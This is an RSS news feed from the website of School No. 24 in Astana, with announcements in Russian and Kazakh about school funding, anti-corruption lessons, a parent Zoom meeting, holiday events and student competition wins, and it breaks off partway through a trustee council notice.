Сайт школы №24 г.Астана

Сайт школы №24 г.Астанаhttp://24.astana-bilim.kzСайт школы №24 г.АстанаruBMC KDT CMSСopyright 2026, BenchMark Consultinghttp://24.astana-bilim.kz/rss/?m=news&lang=ru600Thu, 25 Feb 2021 14:00:33 +0600Thu, 25 Feb 2021 14:00:33 +0600http://24.astana-bilim.kz/images/naklon.gifСайт школы №24 г.Астанаhttp://24.astana-bilim.kz8831ДОРОГИЕ РОДИТЕЛИ!!! ВЫ ДОЛЖНЫ ЗНАТЬ!http://24.astana-bilim.kz/news/?pkid=1614241161337811<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1614241161337811.jpeg" /> ДОРОГИЕ РОДИТЕЛИ!!! ВЫ ДОЛЖНЫ ЗНАТЬ! Ваша школа перешла на подушевое нормативное финансирование для чего вам необходимо это знать?! Школа не имеет права собирать с Вас деньги на ремонт , канцелярские и хозяйственные товары, грамоты и на другие хозяйственные нужды, так как на покрытие всех этих расходов школа получает средства от государства: <a href="https://youtu.be/A9AJA3nPBlM">https://youtu.be/A9AJA3nPBlM </a> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/%D0%BE%D0%B7%D1%96%D0%BD%20%D0%BE%D0%B7%D1%96%20%D1%82%D0%B0%D0%BD%D1%83/%D1%81%D0%B0%D0%B3%D0%B0%D1%82%20%D0%BE%D0%B7%20%D1%82%D0%B0%D0%BD%D1%83/WhatsApp%20Image%202021-02-24%20at%2015.25.13.jpeg" alt="" width="720" height="1019" /><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1614241161337811.jpeg" /> ДОРОГИЕ РОДИТЕЛИ!!! ВЫ ДОЛЖНЫ ЗНАТЬ! Ваша школа перешла на подушевое нормативное финансирование для чего вам необходимо это знать?! Школа не имеет права собирать с Вас деньги на ремонт , канцелярские и хозяйственные товары, грамоты и на другие хозяйственные нужды, так как на покрытие всех этих расходов школа получает средства от государства: <a href="https://youtu.be/A9AJA3nPBlM">https://youtu.be/A9AJA3nPBlM </a> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/%D0%BE%D0%B7%D1%96%D0%BD%20%D0%BE%D0%B7%D1%96%20%D1%82%D0%B0%D0%BD%D1%83/%D1%81%D0%B0%D0%B3%D0%B0%D1%82%20%D0%BE%D0%B7%20%D1%82%D0%B0%D0%BD%D1%83/WhatsApp%20Image%202021-02-24%20at%2015.25.13.jpeg" alt="" width="720" height="1019" />24mektepThu, 25 Feb 2021 14:00:33 +0600http://24.astana-bilim.kz/news/?pkid=1614241161337811Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1614241161337811Попечительский совет средней школы №24 приглашает родителей 9-11 классов 12 февраля 17:00 принять участие в ZOOM- конференцииhttp://24.astana-bilim.kz/news/?pkid=1613050332529173<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1613050332529173.jpeg" /> 📍 ВНИМАНИЕ! Попечительский совет средней школы №24 приглашает родителей 9-11 классов 12 февраля 17:00 принять участие в ZOOM- конференции, где вы ознакомитесь с деятельностью профориентационной службы "Qabilet" при Центре развития одаренности и психологического сопровождения "Астана Дарыны", которая направлена на выявление интеллектуальных способностей и профессионального самоопределения личности. Вы можете получить информацию из первых рук, а также задать интересующие Вас вопросы! СПИКЕРЫ: Представитель Центра развития одаренности и психологического сопровождения "Астана Дарыны". А также менеджер проектного офиса Атамекен с презентацией Рейтинга образовательных программ ВУЗов РК ОРГАНИЗАТОРЫ: Попечительский совет средней школы №24 при поддержке ОО "Попечительский совет организаций образования "QOLDAU". Попечительский совет "QOLDAU" приглашает вас на запланированную конференцию: Zoom. Тема: Профориентация средняя школа №24 Время: 12 февр. 2021 05:00 PM Алматы Подключиться к конференции Zoom <a href="https://us02web.zoom.us/j/87088692986?pwd=TCtLYjRSaktwWnRCakVkM1BHbTVYZz09">https://us02web.zoom.us/j/87088692986?pwd=TCtLYjRSaktwWnRCakVkM1BHbTVYZz09 </a> Идентификатор конференции: 870 8869 2986 Код доступа: 077376<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1613050332529173.jpeg" /> 📍 ВНИМАНИЕ! Попечительский совет средней школы №24 приглашает родителей 9-11 классов 12 февраля 17:00 принять участие в ZOOM- конференции, где вы ознакомитесь с деятельностью профориентационной службы "Qabilet" при Центре развития одаренности и психологического сопровождения "Астана Дарыны", которая направлена на выявление интеллектуальных способностей и профессионального самоопределения личности. Вы можете получить информацию из первых рук, а также задать интересующие Вас вопросы! СПИКЕРЫ: Представитель Центра развития одаренности и психологического сопровождения "Астана Дарыны". А также менеджер проектного офиса Атамекен с презентацией Рейтинга образовательных программ ВУЗов РК ОРГАНИЗАТОРЫ: Попечительский совет средней школы №24 при поддержке ОО "Попечительский совет организаций образования "QOLDAU". Попечительский совет "QOLDAU" приглашает вас на запланированную конференцию: Zoom. Тема: Профориентация средняя школа №24 Время: 12 февр. 2021 05:00 PM Алматы Подключиться к конференции Zoom <a href="https://us02web.zoom.us/j/87088692986?pwd=TCtLYjRSaktwWnRCakVkM1BHbTVYZz09">https://us02web.zoom.us/j/87088692986?pwd=TCtLYjRSaktwWnRCakVkM1BHbTVYZz09 </a> Идентификатор конференции: 870 8869 2986 Код доступа: 07737624mektepThu, 11 Feb 2021 19:31:07 +0600http://24.astana-bilim.kz/news/?pkid=1613050332529173Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1613050332529173КАЛКАМАН САРИН ПРОВЕЛ «ЧАС ДОБРОПОРЯДОЧНОСТИhttp://24.astana-bilim.kz/news/?pkid=1612327025652494<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1612327025652494.jpg" /> КАЛКАМАН САРИН ПРОВЕЛ «ЧАС ДОБРОПОРЯДОЧНОСТИ» Агентство по противодействию коррупции продолжает продвигать принципы добропорядочности среди молодежи посредством онлайн-уроков.Так, гостем очередной акции «Час добропорядочности» стал известный поэт, яркий представитель современной казахской литературы и культуры Калкаман Сарин.В лекции лауреат государственных премий «Дарын» и «Алтын қалам», член союза писателей Казахстана, автор слов широко известных публике песен отметил, что его жизненным кредо являются слова великого Абая «Еңбек етсең ерінбей, тояды қарның тіленбей», что значит «труд – всему голова, честный труд позволяет достигать вершин».По мнению К. Сарина, патриотизм, любовь к Родине – основные показатели добропорядочной личности. А чтобы быть патриотом, каждый гражданин должен знать свою историю, и только тогда он по достоинству будет гордиться своей страной, своей землей и своими предками.Жизненным примером добропорядочности для К. Сарина являются его родители. Свои достижения он напрямую связывает с их примерным образом жизни и принципами воспитания.«Будущее в руках поколения, которое согрето теплом очага своей матери и выросло в тени дуба, посаженного отцом», – сказал К. Сарин.В завершении он отметил, что каждый молодой казахстанец должен стремиться быть лучшей версией себя, воспитывать в себе хорошие привычки и быть добрее к другим.Основная цель акции «Час добропорядочности» – продвижение идеологии добропорядочности и привитие таких важнейших нравственных ценностей, как честность, справедливость, порядочность и доверие у подрастающего поколения через жизненный и трудовой путь известных личностей. Ссылка на видео-урок: <a href="https://youtu.be/AW8c7KyIXNk">https://youtu.be/AW8c7KyIXNk</a><a href="https://youtu.be/AW8c7KyIXNk"> https://www.youtube.com/watch?v=AW8c7KyIXNk&amp;list=PLvN9UMfEpeunSj5iXGTaI9CFjkGNXE2UN&amp;index=1 </a><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1612327025652494.jpg" /> КАЛКАМАН САРИН ПРОВЕЛ «ЧАС ДОБРОПОРЯДОЧНОСТИ» Агентство по противодействию коррупции продолжает продвигать принципы добропорядочности среди молодежи посредством онлайн-уроков.Так, гостем очередной акции «Час добропорядочности» стал известный поэт, яркий представитель современной казахской литературы и культуры Калкаман Сарин.В лекции лауреат государственных премий «Дарын» и «Алтын қалам», член союза писателей Казахстана, автор слов широко известных публике песен отметил, что его жизненным кредо являются слова великого Абая «Еңбек етсең ерінбей, тояды қарның тіленбей», что значит «труд – всему голова, честный труд позволяет достигать вершин».По мнению К. Сарина, патриотизм, любовь к Родине – основные показатели добропорядочной личности. А чтобы быть патриотом, каждый гражданин должен знать свою историю, и только тогда он по достоинству будет гордиться своей страной, своей землей и своими предками.Жизненным примером добропорядочности для К. Сарина являются его родители. Свои достижения он напрямую связывает с их примерным образом жизни и принципами воспитания.«Будущее в руках поколения, которое согрето теплом очага своей матери и выросло в тени дуба, посаженного отцом», – сказал К. Сарин.В завершении он отметил, что каждый молодой казахстанец должен стремиться быть лучшей версией себя, воспитывать в себе хорошие привычки и быть добрее к другим.Основная цель акции «Час добропорядочности» – продвижение идеологии добропорядочности и привитие таких важнейших нравственных ценностей, как честность, справедливость, порядочность и доверие у подрастающего поколения через жизненный и трудовой путь известных личностей. Ссылка на видео-урок: <a href="https://youtu.be/AW8c7KyIXNk">https://youtu.be/AW8c7KyIXNk</a><a href="https://youtu.be/AW8c7KyIXNk"> https://www.youtube.com/watch?v=AW8c7KyIXNk&list=PLvN9UMfEpeunSj5iXGTaI9CFjkGNXE2UN&index=1 </a>24mektepWed, 03 Feb 2021 10:30:42 +0600http://24.astana-bilim.kz/news/?pkid=1612327025652494Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1612327025652494По проекту ANTIKOR.LIVE 21.01.2021 года в 17:00 часов прошел прямой эфир на тему " Методы борьбы с коррупцией".Спикеры:Зам директора по воспитательной работе Мухиденова С.Р, Кусаинова А.Сhttp://24.astana-bilim.kz/news/?pkid=1611231978968241<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1611231978968241.jpeg" /> По проекту ANTIKOR.LIVE 21.01.2021 года в 17:00 часов прошел прямой эфир на тему " Методы борьбы с коррупцией".Спикеры:Зам директора по воспитательной работе Мухиденова С.Р, Кусаинова А.С <a href="https://www.instagram.com/tv/CKTiHn7hTf8/?igshid=1lwzv293329z6">https://www.instagram.com/tv/CKTiHn7hTf8/?igshid=1lwzv293329z6 </a><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1611231978968241.jpeg" /> По проекту ANTIKOR.LIVE 21.01.2021 года в 17:00 часов прошел прямой эфир на тему " Методы борьбы с коррупцией".Спикеры:Зам директора по воспитательной работе Мухиденова С.Р, Кусаинова А.С <a href="https://www.instagram.com/tv/CKTiHn7hTf8/?igshid=1lwzv293329z6">https://www.instagram.com/tv/CKTiHn7hTf8/?igshid=1lwzv293329z6 </a>24mektepThu, 21 Jan 2021 18:25:14 +0600http://24.astana-bilim.kz/news/?pkid=1611231978968241Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1611231978968241«Час добропорядочности» на тему «Заповедь Шакарима – зеркало честности»http://24.astana-bilim.kz/news/?pkid=1611225664888462<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1611225664888462.jpeg" /> <h1 class="title style-scope ytd-video-primary-info-renderer">«Час добропорядочности» на тему «Заповедь Шакарима – зеркало честности» «Час добропорядочности» на тему «Заповедь Шакарима – зеркало честности» <a href="https://www.youtube.com/watch?v=vcK4DvVQJ2I&amp;feature=youtu.be">https://www.youtube.com/watch?v=vcK4DvVQJ2I&amp;feature=youtu.be</a> </h1><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1611225664888462.jpeg" /> <h1 class="title style-scope ytd-video-primary-info-renderer">«Час добропорядочности» на тему «Заповедь Шакарима – зеркало честности» «Час добропорядочности» на тему «Заповедь Шакарима – зеркало честности» <a href="https://www.youtube.com/watch?v=vcK4DvVQJ2I&feature=youtu.be">https://www.youtube.com/watch?v=vcK4DvVQJ2I&feature=youtu.be</a> </h1>24mektepThu, 21 Jan 2021 16:33:50 +0600http://24.astana-bilim.kz/news/?pkid=1611225664888462Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1611225664888462По проекту ANTIKOR.LIVE 21.01.2021 года в 17:00 часов пройдет прямой эфир на тему " Методы борьбы с коррупцией".Спикеры:Зам директора по воспитательной работе Мухиденова С.Р, Кусаинова А.Сhttp://24.astana-bilim.kz/news/?pkid=1610968797833461<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1610968797833461.jpeg" /> По проекту ANTIKOR.LIVE 21.01.2021 года в 17:00 часов пройдет прямой эфир на тему " Методы борьбы с коррупцией".Спикеры:Зам директора по воспитательной работе Мухиденова С.Р, Кусаинова А.С ANTIKOR.LIVE жобасы аясында 21.01.2021 жылы 17:00 де "Сыбайлас жемқорлықпен күресу" атты тікелей эфир өтетінін хабарлаймызІСпикер: Директордың тәрбие -ісі жөніндегі орынбасары Мухиденова С.Р,Кусаинова А.С <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202021-01-18%20at%2016.50.34.jpeg" alt="" width="659" height="659" /><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1610968797833461.jpeg" /> По проекту ANTIKOR.LIVE 21.01.2021 года в 17:00 часов пройдет прямой эфир на тему " Методы борьбы с коррупцией".Спикеры:Зам директора по воспитательной работе Мухиденова С.Р, Кусаинова А.С ANTIKOR.LIVE жобасы аясында 21.01.2021 жылы 17:00 де "Сыбайлас жемқорлықпен күресу" атты тікелей эфир өтетінін хабарлаймызІСпикер: Директордың тәрбие -ісі жөніндегі орынбасары Мухиденова С.Р,Кусаинова А.С <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202021-01-18%20at%2016.50.34.jpeg" alt="" width="659" height="659" />24mektepMon, 18 Jan 2021 17:17:56 +0600http://24.astana-bilim.kz/news/?pkid=1610968797833461Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1610968797833461Счастливого Нового Года всем вам !!!http://24.astana-bilim.kz/news/?pkid=1609393891679874<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1609393891679874.jpg" /> Новый год - наш любимый праздник, который всегда вселяет в сердца каждого новые надежды и мечты. Наша школа не осталась в стороне от этого праздника. Заместитель директора по воспитательной работе Кусаинова А.С. и Сериков М.К. Социальный педагог Карабаева А.Т. Член Попечительского совета Акрамова Ю. а так же Дед Мороз и Снегурочка поздравили учеников нашей школы и раздали подарки. Кроме того, были вручены детям подарки от имени Президента РК а так же от имени Акима города Нур-Султан. Кроме того, всем детям были вручены подарки от спонсоров ,125 подарков от спорткомплекса «Аспан», 25 подарков от акима района «Есиль» и 180 подарков от других спонсоров. <a href="https://m.facebook.com/story.php?story_fbid=3590482894361928&amp;id=100002007588652&amp;sfnsn=mo">https://m.facebook.com/story.php?story_fbid=3590482894361928&amp;id=100002007588652&amp;sfnsn=mo</a> Счастливого Нового Года всем вам !!! <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.34.46%20(1).jpeg" alt="" width="350" height="233" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.34.45.jpeg" alt="" width="356" height="237" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.34.46.jpeg" alt="" width="350" height="233" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.34.47%20(1).jpeg" alt="" width="342" height="228" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.34.47.jpeg" alt="" width="347" height="231" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.35.15.jpeg" alt="" width="371" height="278" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.36.35.jpeg" alt="" width="279" height="279" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1609393891679874.jpg" /> Новый год - наш любимый праздник, который всегда вселяет в сердца каждого новые надежды и мечты. Наша школа не осталась в стороне от этого праздника. Заместитель директора по воспитательной работе Кусаинова А.С. и Сериков М.К. Социальный педагог Карабаева А.Т. Член Попечительского совета Акрамова Ю. а так же Дед Мороз и Снегурочка поздравили учеников нашей школы и раздали подарки. Кроме того, были вручены детям подарки от имени Президента РК а так же от имени Акима города Нур-Султан. Кроме того, всем детям были вручены подарки от спонсоров ,125 подарков от спорткомплекса «Аспан», 25 подарков от акима района «Есиль» и 180 подарков от других спонсоров. <a href="https://m.facebook.com/story.php?story_fbid=3590482894361928&id=100002007588652&sfnsn=mo">https://m.facebook.com/story.php?story_fbid=3590482894361928&id=100002007588652&sfnsn=mo</a> Счастливого Нового Года всем вам !!! <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.34.46%20(1).jpeg" alt="" width="350" height="233" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.34.45.jpeg" alt="" width="356" height="237" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.34.46.jpeg" alt="" width="350" height="233" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.34.47%20(1).jpeg" alt="" width="342" height="228" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.34.47.jpeg" alt="" width="347" height="231" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.35.15.jpeg" alt="" width="371" height="278" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B6%D0%B0%D0%BD%D0%B0%20%D0%B6%D1%8B%D0%BB%202021/WhatsApp%20Image%202020-12-31%20at%2009.36.35.jpeg" alt="" width="279" height="279" /> 24mektepThu, 31 Dec 2020 11:44:57 +0600http://24.astana-bilim.kz/news/?pkid=1609393891679874Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1609393891679874«Ұлттық мектеп лигасы» http://24.astana-bilim.kz/news/?pkid=1606323272816715<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1606323272816715.jpeg" /> «Ұлттық мектеп лигасы» Республикалық 7-8 сыныптар арасында «Ұлттық мектеп лигасы» турнирінде, онлайн жүйесінде болған «Бес асық» жарысында, Нұр-Сұлтан қаласы құрамасы жүлделі 1 орын иеленді. Нұр-Сұлтан қаласының намысын қорғаған команда мүшілері №24 орта мектеп оқушылары.Команда мүшілері:1.Мұхтар Салтанат2.Серік Кәусар3.Әуелбаева НазеркеҚ Ұ Т Т Ы Қ Т А Й М Ы З ! <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-25%20at%2022.34.56.jpeg" alt="" width="168" height="225" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-25%20at%2022.34.56%20(1).jpeg" alt="" width="126" height="230" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-25%20at%2022.34.56%20(2).jpeg" alt="" width="102" height="227" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-25%20at%2022.34.56%20(3).jpeg" alt="" width="104" height="232" /> Республикалық 7-8 сыныптар арасында «Ұлттық мектеп лигасы» турнирінде, онлайн жүйесінде болған «Тоғызқұмалақ» жарысында, Нұр-Сұлтан қаласы құрамасы жүлделі 1 орын иеленді. Нұр-Сұлтан қаласының намысын қорғаған команда мүшілері №24 орта мектеп оқушылары.Команда мүшілері:1.Батырбай Әділет2.Бекмахан Әділет3.Серік Кәусар4.Ауелбай РаушанҚ Ұ Т Т Ы Қ Т А Й М Ы З ! <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-24%20at%2010.53.41%20(1).jpeg" alt="" width="334" height="251" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-24%20at%2010.53.41.jpeg" alt="" width="332" height="248" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1606323272816715.jpeg" /> «Ұлттық мектеп лигасы» Республикалық 7-8 сыныптар арасында «Ұлттық мектеп лигасы» турнирінде, онлайн жүйесінде болған «Бес асық» жарысында, Нұр-Сұлтан қаласы құрамасы жүлделі 1 орын иеленді. Нұр-Сұлтан қаласының намысын қорғаған команда мүшілері №24 орта мектеп оқушылары.Команда мүшілері:1.Мұхтар Салтанат2.Серік Кәусар3.Әуелбаева НазеркеҚ Ұ Т Т Ы Қ Т А Й М Ы З ! <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-25%20at%2022.34.56.jpeg" alt="" width="168" height="225" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-25%20at%2022.34.56%20(1).jpeg" alt="" width="126" height="230" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-25%20at%2022.34.56%20(2).jpeg" alt="" width="102" height="227" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-25%20at%2022.34.56%20(3).jpeg" alt="" width="104" height="232" /> Республикалық 7-8 сыныптар арасында «Ұлттық мектеп лигасы» турнирінде, онлайн жүйесінде болған «Тоғызқұмалақ» жарысында, Нұр-Сұлтан қаласы құрамасы жүлделі 1 орын иеленді. Нұр-Сұлтан қаласының намысын қорғаған команда мүшілері №24 орта мектеп оқушылары.Команда мүшілері:1.Батырбай Әділет2.Бекмахан Әділет3.Серік Кәусар4.Ауелбай РаушанҚ Ұ Т Т Ы Қ Т А Й М Ы З ! <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-24%20at%2010.53.41%20(1).jpeg" alt="" width="334" height="251" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-24%20at%2010.53.41.jpeg" alt="" width="332" height="248" /> 24mektepWed, 25 Nov 2020 22:47:31 +0600http://24.astana-bilim.kz/news/?pkid=1606323272816715Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1606323272816715Всемирный день ребенка!http://24.astana-bilim.kz/news/?pkid=1606321925397824<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1606321925397824.jpg" /> <h2>Всемирный день ребенка!</h2> Всемирный день ребенка был провозглашен Генеральной Ассамблеей Организации Объединенных Наций в 1954 году. Он отмечается 20 ноября как день мирового братства и взаимопонимания детей, посвященного деятельности, направленной на обеспечение благополучия детей во всем мире. Администрация средней школы № 24 города Нур-Султан поздравляет всех детей и родителей с этим знаменательным днем. <a href="http://www.youtube.com/shorts/SHoAvwnnJOE">http://www.youtube.com/shorts/SHoAvwnnJOE</a><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-20%20at%2015.26.51%20(1).jpeg" alt="" width="215" height="161" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-20%20at%2015.26.51.jpeg" alt="" width="208" height="156" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-20%20at%2015.26.52%20(2).jpeg" alt="" width="199" height="148" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-20%20at%2015.26.52.jpeg" alt="" width="213" height="160" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-20%20at%2015.26.53%20(1).jpeg" alt="" width="210" height="158" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-20%20at%2015.26.53.jpeg" alt="" width="204" height="153" /><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1606321925397824.jpg" /> <h2>Всемирный день ребенка!</h2> Всемирный день ребенка был провозглашен Генеральной Ассамблеей Организации Объединенных Наций в 1954 году. Он отмечается 20 ноября как день мирового братства и взаимопонимания детей, посвященного деятельности, направленной на обеспечение благополучия детей во всем мире. Администрация средней школы № 24 города Нур-Султан поздравляет всех детей и родителей с этим знаменательным днем. <a href="http://www.youtube.com/shorts/SHoAvwnnJOE">http://www.youtube.com/shorts/SHoAvwnnJOE</a><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-20%20at%2015.26.51%20(1).jpeg" alt="" width="215" height="161" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-20%20at%2015.26.51.jpeg" alt="" width="208" height="156" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-20%20at%2015.26.52%20(2).jpeg" alt="" width="199" height="148" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-20%20at%2015.26.52.jpeg" alt="" width="213" height="160" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-20%20at%2015.26.53%20(1).jpeg" alt="" width="210" height="158" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-11-20%20at%2015.26.53.jpeg" alt="" width="204" height="153" />24mektepWed, 25 Nov 2020 22:27:26 +0600http://24.astana-bilim.kz/news/?pkid=1606321925397824Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1606321925397824"Час добропорядочности" на тему: "Ахмет Байтурсынов - сеятель человеческих знаний"http://24.astana-bilim.kz/news/?pkid=1606319110235767<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1606319110235767.jpg" /> <h2>"Час добропорядочности" на тему: "Ахмет Байтурсынов - сеятель человеческих знаний" Департамент Агентства Республики Казахстан по противодействию коррупции по городу Нур-Султан проводит очередную акцию "Час добропорядочности" на тему: "Ахмет Байтурсынов - сеятель человеческих знаний". <a href="https://youtu.be/oxX3B6ej3ek">https://youtu.be/oxX3B6ej3ek</a> </h2><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1606319110235767.jpg" /> <h2>"Час добропорядочности" на тему: "Ахмет Байтурсынов - сеятель человеческих знаний" Департамент Агентства Республики Казахстан по противодействию коррупции по городу Нур-Султан проводит очередную акцию "Час добропорядочности" на тему: "Ахмет Байтурсынов - сеятель человеческих знаний". <a href="https://youtu.be/oxX3B6ej3ek">https://youtu.be/oxX3B6ej3ek</a> </h2>24mektepWed, 25 Nov 2020 21:43:05 +0600http://24.astana-bilim.kz/news/?pkid=1606319110235767Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1606319110235767ОБЪЯВЛЕНИЕ О ПЕРЕИЗБРАНИИ ПОПЕЧИТЕЛЬСКОГО СОВЕТА Уважаемые коллеги и друзья! !!! Сбор и прием предложений для сотрудничества с 19 ноября по 4 декабря 2020 года.!!!http://24.astana-bilim.kz/news/?pkid=1606209166673722ОБЪЯВЛЕНИЕ О ПЕРЕИЗБРАНИИ ПОПЕЧИТЕЛЬСКОГО СОВЕТАУважаемые коллеги и друзья!!!! Сбор и прием предложений для сотрудничества с 19 ноября по 4 декабря 2020 года.!!! КГУ средняя школа №24 акимата города Нур-Султан, объявляет о формировании состава Попечительского совета и приеме предложений по его составу. Попечительский совет формируется для оказания общественного контроля за соблюдением прав обучающихся и воспитанников.Полномочия Попечительского совета:1) осуществляет общественный контроль за соблюдением прав обучающихся и воспитанников организации образования, а также за расходованием благотворительной помощи, поступающих на счет образовательных учреждений;2) вырабатывает предложения о внесении изменений и/или дополнений в устав организации образования;3) вырабатывает рекомендации по приоритетным направлениям развития организации образования;4) вырабатывает предложения по совершенствованию мер по вопросам устройства детей-сирот и детей, оставшихся без попечения родителей в семьи казахстанских граждан;5) участвует в 